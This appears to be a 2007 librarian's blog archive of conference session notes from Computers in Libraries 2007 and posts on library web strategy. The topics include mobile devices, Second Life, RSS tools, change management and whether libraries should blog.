Vice President, Innovation

Chief Strategist, SiriDynix Institute

Today is his birthday! Talk about commitment…

How are libraries going to figure out where to go when shift is happening so quickly?

We just exited an era of slow change (the baby boomers)

Real change happened to the folks living through tv, telephone, etc.

Britannica only 2% of the size of Wikipedia

What ideas do we need to dance around? What can libraries actually use?

But all that matters is community, learning, interaction

Why in libraries do we keep saying we have certain collections instead of marketing libraries by how people will feel when they come? (Cited Karen Schneider, "The User is Not Broken" article)

Libraries' core skill is not delivering information; libraries improve the quality of the question and the user experience

Google answers as many questions as all libraries do in 8 years in just 30 minutes

World is going mobile--we need to be there

85% of all students in FaceBook; 80% of all teens are in MySpace

We librarians must learn that when we study something to death, Death was not our original goal

Are we ready for the next 5 years?

e-paper is coming

Google phone and iPhone are coming out this summer--full IM, full web, etc.

City-wide wireless is the norm now; puts information and service at the point of service

A projector the size of a sugar cube that will be on every phone within 2 years

The Sony iReader will be 99 bucks and in stores by xmas 2007

Credit card that is a full-web browser

Advice #1: Go XML for dominant personal devices

Do we give people the shortest route through our web sites to information or force them down certain paths?

Why don't we mine our data?

Is the front page of our web sites like an open Swiss army knife or a closed one? Too many things?

Google results is manipulated by advertisers and SEO specialists; Yahoo is not. Libraries give biased information towards quality, but it's bipartisan. How many of us are positioning ourselves in our communities to show our bipartisan information services?

Need to talk bluntly to ourselves to ask ourselves why our web sites are not more usable according to the Jakob Nielsen rules (I think this is who he cited)

Advice #2: Understand JSR168, Portlets and RSS

Are you ready for the next steps in search?

250 million books will be online in all languages by 2010

How many libraries are ready to deal with 99cent book rental? (Google is already beta-testing this). Libraries make people drive to them at a$4/gallon for gas

We've exploded into an article-level economy

What is the role of the library in presenting digital content to our patrons

Should ignore Google--they work hard to keep libraries passive and work to pacify their customers--which are special interest and advertisers, not us

We know reference is down and dying. The kinds of questions we answer are "how" and "why" questions. Google answers "what' "where " and "who"
We know visual search is big--20% of people are textbased learners and 80% of librarians. Experience & visual learning are better and cover more people. Kids love things like Kartoo visual search
#Advice #3: Get on the OpenURL and the FedSearch wagon. Need to be there now or won't be relevant later.
Google is building Internet through electricity
Are libraries using SEO techniques to go where their users are?
Advice#4: recognize GPS & broadband--deal with it and act local

Are you ready for Web 2.0/Library 2.0?

Can now get games through OverDrive

Need to put content where the users are, not ask people to come to where the content is

What is the magic sauce? YouTube, blogger, MySpace, Faceboo, Bebo, Flickr, etc.

40% of people tag--do we allow them to do it? 7% do it daily

The CD is officially dead

DVD will expire in next 3-5 years; libraries need to experiment to figure out how to deal with the death of that container

Colorblocking of books actually works to increase circulation

#5: Be library 2.0: interact and relate

Are you ready for advanced social networks?

MySpace has 15million daily users and average age of MySpace and Facebook users are 32

Libraries need to understand that we need a sustainable social network for life, just like our users

Second Life is not a fad (all the political candidates are in SL). Many large libraries and educational institutions are in there

Advice #6 Get social--be where the users are

Be sure to control your reputation

Advice #7: get political; use the tools that are out there to be political in your community

Opportunities:

simple collaboration using IM

Thomas Ford Memorial Library--50% virtual reference!

Pennsylvania State UniversityIM pilots now 28 site campus-wide--took their at-risk for failure students (mostly athletes). 30% increase in pass rate of these students using SMS/IM reference

SirsiDynix Docutek VRL Plus K-12 experience in New Zealand

Advice#9: get conversational

Librarian 2.0 PLAYS. Adults don't have the attention span to do much

Mentioned the Learning 2.0 from PLCMC (Learning 23 things)

(Stephen advocates for having weather information on library web sites--I want to comment, however, that this is directly contradicts the usability guidelines of Jakob Nielsen.)

Build a petting zoo--put in different kinds of devices, special PCs for disabilities, iPods, MP3 layers, smartphones, texters, gaming stations

Advice #10; Increase your HR capacity to adapt-develop a workplace culture of play

Are we ready for the Millenials? They're smarter! Need to build libraries to support them

Talked about SirisRooms--3 video games available for every educational goal

Are we ready to reimagineer the library? Are we looking too closely at the mountains? Most people are in the foothills

Encourages libraries to do pilots of new projects and to experiment

Convenience is king

2007-05-08T08:13:00.000-07:00

We, as librarians, already know that the old (and it's not all that old) web maxim "Content is King" has already gone by the wayside. We know it because Google is the undisputed ruler of internet search. Google is convenient and the information it produces is "good enough" in the eyes of the majority of its users. No matter how loudly we holler about the benefits of expensive digital resources, the public will never buy what we're selling because it's neither convenient nor easy to use.

Television is facing the same dilemma. It is being slowly replaced, in the younger demographics, by on-demand services such as iTunes. This shouldn't be a surprise to anyone. While shows like Lost and Heroes are made for the television medium, they actually do better ratings-wise with the on-demand audience. Let's be real here--if you can pay a little bit to watch your favorite show when you want to (and not have to remember to TiVo it), that's a more palatable situation than having to remember to either actually watch it or record it somehow. Plus, you can watch it on your iPod on the way to work/at lunch/at the dentist.

Convenience. Americans are willing to pay to obtain it. What does this mean to libraries? How convenient is the public library?

Commentary: a commentary

2007-04-30T09:41:00.000-07:00

I just finished reading The Blogger's Code of Conduct as posted on Michael Stephen's blog. Number 5 of the Code reads: "We do not allow anonymous comments." I was a little startled by this myself, being a blogger who does exactly that.

I have mixed feelings about this one. I have allowed anonymous comments, although I moderate all comments because of spam issues and to scan for anything that is just outrightly obnoxious. I sometimes get snarky anonymous comments (I blogged about one of them here). Nobody likes getting those , granted. But they don't cause me to stop blogging or sleeping or...anything.

A very wise social studies teacher told me long ago that if you aren't going to put your name on it, don't bother. I generally have found that to be true. Things said anonymously don't have the same credibility as things said by a known (or knowable) person. That's one of the reasons that my name is on this blog. How much credibility would I have if I just blogged from behind an anonymous facade? (Ok, maybe I don't have any even with my name on it, but what do I know?) Even Slashdot has made a point of this: anonymous posters are given the default name "Anonymous Coward" when they post.

Having said all that, I also feel that there is still a place for the anonymous poster, for two reasons.

Too many #@!$ online accounts. Let's be truthful here...can you name all of the web sites/services/online places you have account names and passwords for? If you just want to make one comment and will probably never comment again, is it really worth it to make yet another account? That's like asking someone to get a library card every time they travel and want to use the local library for Internet access. I would prefer it if every commenter were properly logged in and identified. But I can relate to the pain in the rear this might be, and some folks might never comment if that were the case.
The other side gets buried. It's not easy to express negative commentary when the person you are expressing it to knows who you are. That's certainly a more comfortable situation for the blogger. But then, how often would you get any dissenting viewpoints? ow would you get constructive feedback? It's important to at least hear it, I think. Even if the blogger doesn't publish all of it, at least it's getting face time. Nobody agrees with everything. Too much groupthink does no one any good.

So, to summarize, I'd really like it if you put your name/handle on your comments and thusly stand behind what you say. But I'm going to violate the Blogger's Code of Conduct for at least a little while longer, I think. Radical trust in action?

The hidden questions of blogging

2007-04-25T09:27:00.000-07:00

(I wrote this article for the Ohio Library Council and am sharing it here)

The hidden questions of blogging
Laura Solomon

Introduction

How is your library communicating with online patrons?

If your answer is “My library isn’t, but it would like to,” then you may already be looking at applications that can help you reach the online population. Blogs have recently been receiving a lot of attention as a way for libraries to reach their virtual customers.

Some libraries have jumped into blogging, without necessarily evaluating whether or not it represents the best solution for their need. As is the case with any new technology, not every application is a good fit for everyone. This article will explore some of the questions a library should ask when deciding if blogging is an outlet appropriate for them.

Maybe not what you think

Blogs have been around for a long time; at least if one measures time in “Internet Time.” The format itself has been around since the mid-1990’s. There were more than 70 million blogs worldwide in July 2006, and more than 80,000 new ones are being created every day. The popularity of blogs has exploded. Their newfound visibility has made them a force to be reckoned with in the political arena, and the medium is now a subject in many schools of journalism.

The word “blog” is a derivative of the full term, “weblog.” Although this type of format (a journal/diary online) may seem like a unique entity, the reality is that blogs are simply regular, plain old web sites. The only difference between a blog and a web site (and only in some cases), behind the scenes, is that the author simply types in their post and clicks a “publish” button. There’s no need for HTML or any type of coding. This is why blogging is sometimes referred to as “point and click publishing.” This idea is especially appealing to libraries that may not have the technical expertise in-house or funding to do their own coding or web design.

However, there is one key aspect of blogs that some libraries fail to recognize. The blogging medium represents a two-way interchange of information. Think of it this way:

“Blogging seems really hot right now. Should my library start blogging?”

Now, replace that sentence with:

“Conversations seem really hot right now. Should my library start having conversations?”

If you’re not ready to have your online patrons talk back to you, then you aren’t ready to blog. The blog format is not just about your library putting information out to the online community; it’s also about that community being able to respond by posting comments. Go ahead and moderate those comments if you wish (although make sure you moderate promptly or people may give up on your blog). But if you don’t give your patrons the ability to talk back, then you haven’t created a blog—you’ve created a brochure.

Not for the uncommitted

There’s another issue that has to be considered by prospective bloggers: the investment of time. Blogging is a time-intensive activity. Not just in terms of actually writing blog posts, but in time spent planning what is going to be posted.

Regardless of how many staff are involved in the library blog, coming up with material on even a weekly basis can be a challenge. Often, staff can be very enthusiastic at the beginning, only to realize several weeks after launch that they really didn’t have more than a few things to say. What happens then? The blog becomes dormant and what little audience might have been built up in the interim disappears, unlikely to return.

Perhaps the hardest lesson for the blogger to absorb is that blogging is not Field of Dreams: “If you build it, they will come.” Libraries can add to the blogosphere. They can even add great material to the blogosphere. But there is no guarantee that any audience or participants will appear to support the effort. Bloggers who are determined to succeed not only have to post regularly, but they must do so realizing that it may be years before they have a significant audience. There is too much competition to expect otherwise.

It’s not about the library

There’s another philosophical issue libraries need to tackle before they dive into the blogosphere. Libraries need to truly internalize the fact that the blog is not about them. It is really about the online patron.

Content that merely promotes events and collections will generally not appeal to any but those writing it. Content creators must find the hook that captures the readers’ interest. Readers have one main question in the front of their minds: “What’s in it for me?” If you can’t provide the answer to that question in your post, then you have not gained a reader. Tell your readers why the subject is important to them. Will their kids become better readers? Will tax forms suddenly make sense? Will they learn about something they can now use every day?

Library bloggers cannot assume that simply because the library is saying something that anyone will care. Just like any writer, library bloggers often like to think that everyone will like what they create. But simply appealing to the goodwill of the reader does little to garner a regular readership.

Not for every reader

Remember that your blog is competing with literally millions of others for readers’ attention. What can your library offer that no one else can? Readers of your library’s blog are likely reading many other blogs as well. What kind of information can your library bring to the virtual table to make it stand out?

Simply re-hashing the news from CNN won’t be enough. Connect that news to something library-related and make it relevant to your blog’s readership. Part of this is finding the niche audience for the blog. Who is the audience…really? Trying to get everyone to read is not an effective strategy. Target your blog to a particular type of reader and it is more likely to be successful. Know your audience and how to focus your content to that audience.

Conclusion

There is a lot to be considered before undertaking a blog. While the actual technical setup of a blog can now be very simple, these kinds of practical and philosophical questions must be answered beforehand for the blog to succeed. Blogs are not a “magic bullet” for any kind of online communication strategy, but they can help forge stronger connections between libraries and the online community if well-thought out.

Resources

Doctorow, Cory. “State of the Blogosphere.” BoingBoing, April 17, 2006. <http://www.boingboing.net/2006/04/17/state_of_the_blogosp.html>
Kratsch, Chris, et al. “How to Dissuade Yourself from Becoming a Blogger.” WikiHow, October 18, 2006. <http://www.wikihow.com/Dissuade-Yourself-from-Becoming-a-Blogger>
Owyang, Jeremiah. “Why Blogs are NOT Important” Web Strategy by Jeremiah, January 9, 2006. <http://jeremiahthewebprophet.blogspot.com/2006/01/why-blogs-are-not-important.html>

Alliance & SCharlotte Libraries get a Second Life: Library Services in a VIrtual World

2007-04-18T10:30:00.000-07:00

(Yay, SL....catch *me* there as Lebachai Vesta!)

Lori Bell, Director of Innovation at ALliance Librry System
Tom Peters, TAP Information Services
Kelly Czarnecki, ImaginOn/PLCMC
Matt Gullet, PLCMC

Not a game, it's a virtual world. MTV and Sony and Google Earth will soon have their own.
There's an adult library project and a teen project too
Online community growing 20-30% per month

ALS and PLCMC were the first libraries to be in SL
Over 5.5 million registered avatars
Over 5,000 visitors per day to the Alliance Information Archipelago
2-3000 teen visitors a day to the Eye4You Alliance island
Used for meetings, workshops, education (e.g., ALA)

In SL, an "avatar is a digital character that represents you in-world
Avatars can walk, talk, fly, swim, teleport, anything

Gone from 1 to 10 islands in one year! Plus 10 more partner islands

Has a SF/F portal (immersive environment), pantheon performance hall, open air auditoriums fo rprograms, medical library, lots more

Imagination Island includes Rachelville--a place to celebrate teh child in all of us, and Vendorville, which is a place for library vendors to get out to the community (over 500 self-identified librarians in SL)

New E4Y Isle--need a background check to work there if you are an adult.
In the process of building the island
Actually having the builder work directly with the teens

SL is a space for interactive programming and creating relationships
The idea is to create a public space and to maintain the idea of a public space within these types of worlds
Only 2 of 90 islands are public spaces on the teen grid; one is library

Services the library provides in SL:
reference, programs, exhibits, (WWII, posters, Alzheimer's Disease, author Vachel Lindsay, Sept. 11 Remembrance)
Collections (web resources, Second Life formatted e-books and audiobooks,
book and genre discussions
training

Huge offering of pro bono work from librarians--over 400 from around the world

Books are not the draw in virtual worlds; it's programming and exhibits and training

Why are librarians in Second Life?
This is a new professional frontier
This is where many of our users and non-users are
To attract new users to the traditional library through referral
To investigate library services in virtual worlds
To provide library services 24/7
To meet and work with librarians worldwide
To learn and use the 3D web, the emerging web interaction interface

Challenges:
funding and sustainability
volunteer burnout
parnterships are key
steep learning curve
what library services do virtual world users want?
what? you're working in SL? right...
robust hardware and net connection are essentail
no integrated audio and web yet
highly addictie and time intensive

What have we learned?
virtual world residents DO want a library--we built it and they are coming in droves!
collaboration is the key and partnerships are essential
exhibits--very popular; events draw crowds
SL is fun--fun factor as catalyst for amazing growth
the speed with which this iunfolding is unbelievable
people still ask for books in a virtual world
ALS and PLCMC have received huge national and international attention and recognized as key innovators

What's next?
permanent virtual ALS staff working out fo the ALS world headquarters (and PLCMC)
more traidtional info resources like audiobooks
pioneer "meeting technologies" to facilitate virtual meetings e.g. adding audio to meeting protocols
integrate Info Island and Eye4You into ALS and PLCMC daily operations so all staff are SL functional
actively promote the Alliance Information Archipelago
improve transporation around the islands
create and Info island for kids

Why is this good for us:
continues traditions of being leades in the library community
provides national profile and recognition as stwo fo the most innovative library systems in the country
easier to recruti excellent board members and staff
easier to land "big" grants
testing new technologies and services re; virtual library services

SL is a 3D representation of an information space
Think about what you thought of the web when it was new; probably didn't think it would take off like it did

Reinventing the Library in the Internet Era (CIL2007)

2007-04-18T08:13:00.000-07:00

Rebecca Ranallo Kahl, Internet Services & Media Services Manager, Cuyahoga County Public Library

Saw that the community and the profession was evolving. Staff was being asked to provide information differently than they were used to providing. Wanted to make sure staff comfortable with new technology.

Charts showing circ--too small to see at the back, sorry!

Needed to be more flexible.

Showed a chart of media fragmentation--couldn't see any of it from the back. (Needs better visuals for such a large audience.)

Showed versions of old site--was flat HTML. (Screenshots too small to see). Was managed by one person.

Wanted a portal with a customizable experience. Wanted people to "enjoy" the resources available, not just get info and get out. Wanted the ability to get to new audiences and to partner with more community partners.

Had ideas about features and services they wanted to provide, but weren't sure what their customers wanted. Put out an RFP to Cleveland firms for a "fresh view" and CMS options.

(Turned presentation over to the person from Opteim)
1) Discovery--needed to do homework up front (focus groups--internal, customers, competitive intelligence with other libraries, best practices analysis, recommendations, wire frames)
2) Strategy--"mini portals" (subjects, demograhics, branches). CMS (150 non-tech usrs, blogs, RSS, mobile CSS, 508 compliance, ultilanguage capability, scaleability), event functionality (state of the art), audience segmentation, enhanced search functionality

CMS=Ektron
Catalog (i.e. III)
Federated Search (Webfeat)
Text messaging
Email (Exact Target)
Online Store
Digital Assets (Fedora)
Fund Raising (e-commerce)

Design based on words that came out of the focus groups. Online registration broken down by location and subject.

Can get emails about what new titles in a particular genre and related events.

Wanted employees to wear logo apparel while they're working and for public to buy online. All proceeds go into the foundation.

Launch/promotion: significant increases to site hits after the launch due to good promotion. Was #1 site that year for the company that implemented it.

(Turned session over to Ektron person)
Platform defines functionality. Using off the shelf CMS buys engineering hours.
CCPL was one of the first adopters of social networking capabilities of the Ektron product.

Trends in Mobile Tools & Applications for Libraries (CIL2007)

2007-04-18T07:06:00.000-07:00

Megan Fox, Simmons College

As more of our patrons rely on PDAs and cellphones for everything they do, they are turning to them for information at the point of need. There is an increasing demand for instant gratification.

The Mobile Market

75% of all adults have cells, 90% of college students do; cellphones have surpassed the number of landlines
95% of active US cellphones support SMS and 62% use it
types of devices are many; even personal game devices can be used for informational purposes
A school is using Sony Playstations for each students to teach History & French
New--"smartwatches"--m300
Multimedia is hot on the newer devices; connections directly to printers, Flickr, TV
Audio quality is so good on some of these that many replace MP3
Apple iPhone is coming out in June and has a color touch screen; but can't download specialized applications
Some use motion sensing to make scrolling easier
UMPC 2nd generation (ultra mobile personal computers)--full PCs in smaller form factor. Use the new Vista GUI (Arrow)

The Mobile Web/The Transcoded Web

There is a new .mobi TLD (CNN.mobi)
Library in Illinois has a .mobi site--not a full scale replica, but has essential info
Huge amount of content being designed just for the mobile web
Ball State has a mobile site
Many ILS systems have mobile versions (including SirsiDynix...where's ours?..hmm)
Can get traditional reference info like dictionaries and almanacs are now available for downloads
The Transcoded web--a process of optimimizing for mobile. Not perfect--can distort the page or stripping images that may be crucial. But almost any content can be shoehorned to be mobile-accessible

mobilicio.us

Databases on the go--not as much going on now as 4-5 years
Use something like mobifeeds, xfruits, feedbeep to turn content into RSS for mobile
As mobile devices become more spread, librarians have a responsibility to know how to use them and how to assist patrons
Content via SMS/Texting--text a message, get info back like movie times or the Yellow Pages 411 service
Random House is sending out the first chapter of a new book "Life's a Pitch" via SMS
"Send to phone" or "IM to friend" options

Communicating with Mobile Users

In Victoria, AU, SMS is part of the English curriculum
Texting/IM are seen as providing a "more authentic self" because it's instant
Lots of services that translate SMS to email or vice versa (Teleflip is one example)
Patron account information notification
Of over 65+ crowd, 20% are texting!!
Feedback meter links--live polling/voting

Mobile Audio and Multimedia

Audioguides to reference databases
Audible Air allows for wireless downloads
LibriVox--offers free audiobooks of public domain works
San Fransisco library provides directions about how to download mobile content
Guide By Cell audio tours--great for exhibits too
Mobile video--TV in various flavors from cell providers ("place shifted television"). TivoToGo allows you to watch Tivo on your phone on demand
Mobile YouTube, Mobile Second Life
MyMediaMall subscriptions in libraries
Sirsi PocketCirc

What's next?

Companies want to put ads on your phone; with your permission, you get a discount or free content
Visa & Mastercard have partnered with Nokia to pay for things with phone via sensor; if people don't carry around wallets, they don't carry around a library card!
Hardware is evolving; digital paper, projectors built into the phone so you don't have to read on a tiny screen, glasses to allow you to watch a movie on them
Evolving input: ZenZui (touch input--content is marked by icons and you can choose in on just one)
Microsoft working on a new mobile browser that would show everything and allow you to zoom in on just the sections you want

Effective use of mobile devices is limited by input methods...new creative solutions

use the camera to start a query with an image
take a picture of a whiteboard, send it to qipit (makes a PDF and sends it back)
spoken interaction (GotVoice, VoiceBox). Will be an $11 billion business by 2008
GPS/location based services--point your device at something and you get information about it back (like the Washington Monument

While libraries don't like cells, they need to get over it. Cell phones are now truly multifunctional devices

http://web.simmons.edu/~fox/mobile

The World Digital Library Initiative (CIL2007)

2007-04-18T05:20:00.000-07:00

John Van Oudenaren, Senior Advisor, World Digital Library, Library of Congress, juou@loc.gov

Vision: to create a digital library of significant original materials representing all of the major cultures from across the globe and make it accessible to students, educators and the general public.

Objectives:
--promote international an inter-cultural understanding and awareness
--provide a resource for educators that matches the needs of a globalized, wireless world
--acquire rare and unique content of interest to scholars and the general public

*Not* a mass book digitization project; it's a content acquisition project

Partners include UNESCO, , National libraries and other cultural institutions (Biblotheca Alexandria, National Library of Egypt, National Library of Brazil, Russian State Library, Others) and the technology community (Google, Yahoo, Aple, Stanford University)

Started in June 2005 when LOC proposed the project to the U.S. National Commission for UNESCO. To be compledted in September 2008 with a full-scale launch

Not just a big website! Three pillars:
--content acquisition
--construction of a sustainable network for production and distribution of content
--the website (http://www.worlddigitallibrary.org)

Content Acquisition:
key objective: work with partners to digitize content in places wher little or no scanning is being done (bring light to "hidden treasures")
Maintain and build upon existing scanning operations (Cairo, Rio de Janeiro, Moscow, St. Petersburg, Novosbirsk [mobile scanning team for Siberia])

Construction of a sustainable international network
key objective; create...(sorry, missed this due to network difficulties!)
network nodes for creation of the WDL: digitization of content, cataloguing, translation, development of editorial and educational content, distribution
network node for distribution: central site and mirrored sites

The Web Site:
key objective: present cultural content in a way that appeals to (and this will be used by) the new generation of internet users, both in the US and internationally
prototype under development
multilingual: English, Arabic, Chinese, French, Russian, Spanish, Portuguese
High quality user experience (fast seamless)
ability to search and browse a large volume of content
Multi-format: manuscripsts, maps, photos, prints, postcards, rare books, sound and video clips, 3D presentations of architectural monuments
Special features with experts, scholars, curators
Educational content for teachers and students
Social networking features
Adjustments to developing country conditions; low bandwidth and mobile device solutions

Showed a video promoting the concepts behind the WDL project--very nice; wonder if it's on YouTube?

Guiding Libraries and Info Pros Through Change (CIL2007)

2007-04-17T13:07:00.001-07:00

David Lee King, Digital Branch and Services Manager, Topeka and Shawnee County PL

This session is about change management. Almost everyone in the room has had trouble instituting change at their libraries.

Change is not always more of the same, only better...now change is unpredictable. Spending time trying to motivate people is wasted; if you have the RIGHT people, they will be self-motivated. The key is to not de-motivate those people.

From Stephen Abrahms--dinosaurs didn't go extinct b/c of climate change, but b/c they couldn't adapt to the change around them.

Today's technology has made library change go incredibly go fast, as opposed to in the past when things didn't change nearly as fast as they do now. Now seeing titles like "Senior Librarian for Innovative Strategies" and "Digital Branch and Services Manager"

Change, the old way:
--leaders simply ordered change
--goal: getting the change ccomplsihed
--when it fails, leaders review details of the change
--change is EXTERNAL; this model doesn't work
--transitions are INTERNAL...the reorientation people have to go through in order to transition; results in scared workers and harried IT pros

Let's look at the transition process:
1) saying goodbye (letting go of the past). People feel like they're letting go of an entire known world of experience. People associate themselves strongly with their work. Some people just not capable of switching to the new millennium.
2) Shifting into neutral: a state full of confusion. This is where you focus on the details of the transition. Some people never get past this phase. Library of Congress had 200 voluntary retirements so that those librarians didn't have to learn something new.
3) Moving forward: people know what to do, just have to start doing it. This is where resistance starts happening. 80% of corporate CEOs say the main reason technology projects fail is because of resistance to change.

Resistance isn't the problem
-mgt's reaction to resistance creates the problem
--the resistors probably don't see it as resistance--see it as survival

3 levels of resistance
--information based
--not enough info
--disagreement with the idea itself
--not familiar with idea
--confusion
--Physiological/emotional
--my job is threatened
--my future with the organization
--respect of my peers
--can't take on anything else
--these are PERCEPTIONS, not necessarily the reality
--Bigger stuff
--personal history
--who you are
--significant disagreement over values
--transference

How to navigate change
--Just for leaders (and techies)
--you've already come to terms with the change
--understand why people might now want to change
--understand that it's the transitions, not the change, that is causing waves

Steps to take
--describe the change succinctly
--plan carefully
--help people respectfully let go
--constant communication
--create temporary solutions when needed
--model new behavior

Dont do these things!
--don't confuse novelty with innovation
--don't confuse motion with action
--don't keep something going if it "still has a few good years of life"

For techies:
--you might be able to change quickly, but there are areas wher e you DON'T change quickly
--always share too much
--Technojustification

If you refuse to change:
--missed career opportunities
--you'll miss out on the opportunity to expand your network and your ability to develop new relationships
--you'll miss out on the possibility of shaping your new destiny and reality

Some parting thoughts:
--learn all you can about change--ask, don't just grumble
--break bad habits and work on stress mgt strategies
--whine with a purpose!

What's Hot in RSS? (CIL2007)

2007-04-17T12:09:00.000-07:00

What’s Hot with RSS

Steven M. Cohen

LawLibrary Management, Inc.

http://www.twitter.com/stevencohen

http://stevenmcohen.pbwiki.com/CIL2007

Google Reader (MOBILE!!)

--easier to teach, very intuitive, uses keyboard shortcuts

--can share stories with people using your feeds

Windows Vista

--comes with RSS on the desktop

--not called “RSS”; called “News”

Internet Explorer

--has it built in

--means more people will use it

So, RSS is hitting the bigtime

Doesn’t browse the web anymore; doesn’t go to sites anymore (and he’s not alone in this btw—I don’t either!)

Libworm

--way to search library blogging community and library-related feeds

Page2RSS (converts pages w/o a feed to a feed you can use) http://www.page2rss.com

TechMeme

--aggregates blog posts from certain categories and puts them into popularity

--want to know what’s hot in the tech blogging community?

Would be neat to have something like TechMeme for libraries

Open Congress

--took all the bills, all the reps, issues and gives you areas like “most viewed bills” and “most talked about issues”

LibraryThing has feeds

--can see when people you want to keep up with adds a book or a review

Twitter is a cross between blogging, IM and chat on crack

--each page has a feed

--stuff can appear in Twitter via RSS

-RSS2Twitter.com

--allows RSS feed data to be sent over to Twitter and it automatically creates a link and title on your twitter account

--Twitter is like going into a room with all your friends, saying something and hoping someone listens

--Tumbler.com—allows you to share links, photos (link blog concept)

--can subscribe to the feed

--uses RSS2Twitter to set up a feed of links from here to appear with Twitter

--thinks Twitter will be the new reader

Feed on Feeds (web based reader that has a password)

My Top 10-12 Favorite tools

1) Internet Archive (http://www.archive.org)

2) Snapper (http://adons.mozilla.org/firefox/2703) (screenshot tool)

3) Browster (http://www.browster.com)

4) BugMeNot (http://www.bugmenot.com)

5) TinyURL (http://www.tinyurl.com)

6) GoogleGroups (http://groups.google.com)

7) CiteBite (http://www.citebite.com) (allows you to link directly to quotes in web pages)

8) Picknic (http://

9) Missing-Auctions.com (allows you to search eBay including misspellings)

10) Twitter (http://www.twitter.com)

11) Meebo (http://www.meebo.com)

12) PBwiki (http://www.pbwiki.com)

Cutting Edge Tech Leaders (CIL2007)

2007-04-17T10:19:00.000-07:00

Tim Spaulding, LibraryThing.com

--180,000 members that catalog their collection (over 2million books cataloged), with over 16 million tags used

--Only thing LT requires is a password and email address; privacy an important concern
If you input books, you can be matched up with others who have read the same books ("so-and-so also read this book")

--can see all of the reviews in a person's collections

--can explore who you are through the books that you have

--many ways for LibraryThing to recommend books (tags, reviews, what others have read, etc)

--LT treats authors as importantly as the book, which OPACS don't usually do
--pictures
--other names for the same author available
--Can see all of the subgenres available via the tags
--Zeitgeist page is fascinating look at what's going on in the site--take a look! (Including 25 books people *can't* agree on)
--What does LibraryThing mean for social networking?
--growing niche sites
--Amazon is not the best book site forever, nor is Google
--can see the overlaps (like Dilbert readers often also are computer programming book readers; "Our Body, Ourselves" overlaps with books on Wicca oftentimes)
--books are not just items of commerce; we are at least partially made up of the books we've read
--books are conversations and expose ideas and more to us
--books are social and libraries know this (one city, one book projects demonstrate this)
--library data is interesting and powerful
--regular people care about book data
--LibraryThing is unique because it uses Z39.50 and MARC records, unlike the pretenders that use Amazon data
--feels that a lot of jargon is deeply alienating to users (e.g., "user generated content")
--users are creating data to rival that of OCLC
--user tagging is more intuitive than LC subject headings
--Can use the data from LibraryThing in your ILS (uses JavaScript, not any deep level of integration)
--can get the data as XML
--needs to an interface for OCLC data like there is for LibraryThing

What's the standard? (NOT a CIL2007 post...exactly)

2007-04-17T07:17:00.000-07:00

In case you hadn't noticed, I'm at Computers in Libraries this week. It's my first, and I am admittedly very happy about being in the same room with people who actually use the same technologies I do on a daily basis; people who experience the same levels of frustration with trying to get their libraries to move forward, and who don't flinch if you use the word "Perl" in a sentence without meaning your jewelry. In some ways, perhaps we constitute a support group of over 2,000 strong.

But I've noticed something after my first day of absorbing even more about Web 2.0 here. We're now seeing many types of Web 2.0 features becoming ubiquitious across mainstream sites. How many well-known web sites don't include at least one of the following?:

RSS
Comments on content
Tag clouds
some form of interactive mapping
ability to post the content to some kind of social news site

There are many more that I'm not even mentioning here, that we're seeing in many places. I'm sure you could think of some if you thought about it.

I've sort of known this for a while now, that these kinds of features are pretty much becoming "the norm." I keep churning this over in my brain. Library web sites already often don't include standard features like site searches. Now they are being left further behind as they fail to include social technologies or to export their data in ways that are usable by other applications.

As happy as I am to be here with so many knowledgeable colleagues, in another sense I am mightly discouraged because trying to explain the value of these types of technologies sometimes seems like a futile endeavor.

"Everyone else is doing it" is not a valid reason to do anything. Regular readers of my blog already know where I stand on that point. But what I somehow am failing to communicate is that libraries need to provide this type of functionality to give others the opportunity to participate in our web world. Libraries are seemingly stuck on the idea of the library as the information provider, not the library as information facilitator. Our role is the former, but now we need to expand our borders to actually include our patrons.

From Core Competencies to Learning 2.0

2007-04-17T07:15:00.000-07:00

From Core Competencies to Learning 2.0

Helene Blowers, Public Services Technology Director, Public Library of Charlotte and Mecklenburg County
(http://LibraryBytes.com)

Technology surge: gotten huge since 2000. Trying to stay on top of it is very hard.
We used to think of technology as a silo among several; facilities, collection, technology, staffing, as far as funding goes
The new model: funding AND technology support facilities, staffing and collections
--we need to think about how staff supports that technology
--can no longer be just IT staff
--must be core to the entire staff
PLCMC made technology part of the core competencies
--technology is everyone's job
--4 levels of core competencies, supported by a training
--some trainings are classes, some are tutorials
--4 levels of the core:
--Core I: everyone should be able to do this, regardless of position! (intranet, printing, saving, timesheets, etc)
--Core II: people working directly with patrons (circ and librarians)--search catalog, using ILS
--Core III: specialized to some branches (Envisionware pc management)
--Core IV: librarians doing public training (av knowledge, how to hook up a laptop, imaging)
(http://tinyurl.com/yo2zmh)
Core competencies support the past. How do we get staff up to date on what's happening now?
(thus was born Learning 2.0)

Needed to reach 500+ employees, fast, since things are moving quickly on the web. Needed to remove the people doing the training from the equation. Based on the idea of 43 Things (they did 23 things)

Exposes current staff to Web 2.0 technologies and how they need to be engaged in their own lifelong learning.

People need to be engaged, and they need an incentive. They gave an MP3 player for completion.

The program was built using Web 2.0 technologies, almost entirely for free (spent $14.99 at Wal-Mart to buy a mic for podcasting)

Built a week in for catch-up

Exposing staff to new tools; encouraging play; empowering individuals; expanding the knowledge toolbox; eliminating fear--these are the goals of the program

356 staff started their own blog. They started sharing them with each other, creating a P2P (peer-to-peer) learning network.

Best practices:
--don't confuse learning with trainng
--build the program for late-bloomers
-allow participatnts to late-bloomers
--allow particpants to blog anonymously
--communicate weekly using 1.0 methods
--focus on discovery and encourage challenges
-encoruage staff to use ech other and work togehter
--rememer that it's not about acceptance or doing it "right" It's about exposure
--practice transpareny and radical trust and continually encourage staff to play!!!

Program is designed for the late-bloomers, not early adopters. Many didn't join until 6 weeks in

Have to remember the concept is about exposure, not accepting the tools. Can't expect that everyone will buy in or understand.

Have to practice radical trust with your staff!

Using Social Media for Community Engagement

2007-04-17T05:29:00.000-07:00

Andy Carvin, Senior Product Manager for Online Communities at NPR

Traditional media production--broadcaster, publisher, billboard owner...had to be something like this to produce content for a large audience

Web 1.0: most people read the Net b/c they needed HTML, programming skills, graphic design skills, hosting ability, promotion mechanisms to produce for it

Today: Web 2.0. Late 1990's: new classes of online software to simplify content creation. Allowed people to focus on ideas and creativity rather than technical know-how. "The Read-Write Web" AKA "Web 2.0" AKA "We Media."

Social software and the democratization of content:
--classblogmeister.com: edublogging tools
--flick.com: photosharing community
--epnweb.org: education podcast network
--blip.tv: make your own video blog
--youtube.com: 100m videos downloaded daily
Common thread: online communities where people are actively encouraged to use and share each other's original content

Content Production: all the cool kids are doing it
--48 mi lion Americans have posted content online
